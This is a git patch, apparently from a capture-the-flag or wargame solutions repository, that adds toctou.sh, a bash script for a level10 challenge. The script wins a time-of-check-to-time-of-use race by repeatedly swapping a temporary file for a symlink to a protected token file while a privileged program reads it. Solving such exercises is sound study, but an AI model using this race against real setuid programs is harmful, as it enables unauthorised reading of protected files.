From b28e4293f390ca76bc9df0bda6369b5f31e3cf0f Mon Sep 17 00:00:00 2001 From: Raphael Date: Wed, 28 Jan 2026 01:25:15 +0100 Subject: [PATCH] feat(lvl10/ressources): adding the toctou script --- level10/ressources/toctou.sh | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 level10/ressources/toctou.sh diff --git a/level10/ressources/toctou.sh b/level10/ressources/toctou.sh new file mode 100644 index 0000000..2127ab8 --- /dev/null +++ b/level10/ressources/toctou.sh @@ -0,0 +1,17 @@ +#!/bin/env bash + +INPUT="/home/user/level10/token" +OUTPUT="/tmp/toctou" +PROGRAM="/home/user/level10/level10" + +touch $OUTPUT + +while true; do $PROGRAM $OUTPUT 127.0.0.1; done & + +while ! test -r $OUTPUT; do + rm -f $OUTPUT + touch $OUTPUT + rm -rf $OUTPUT + ln -s $INPUT $OUTPUT +done +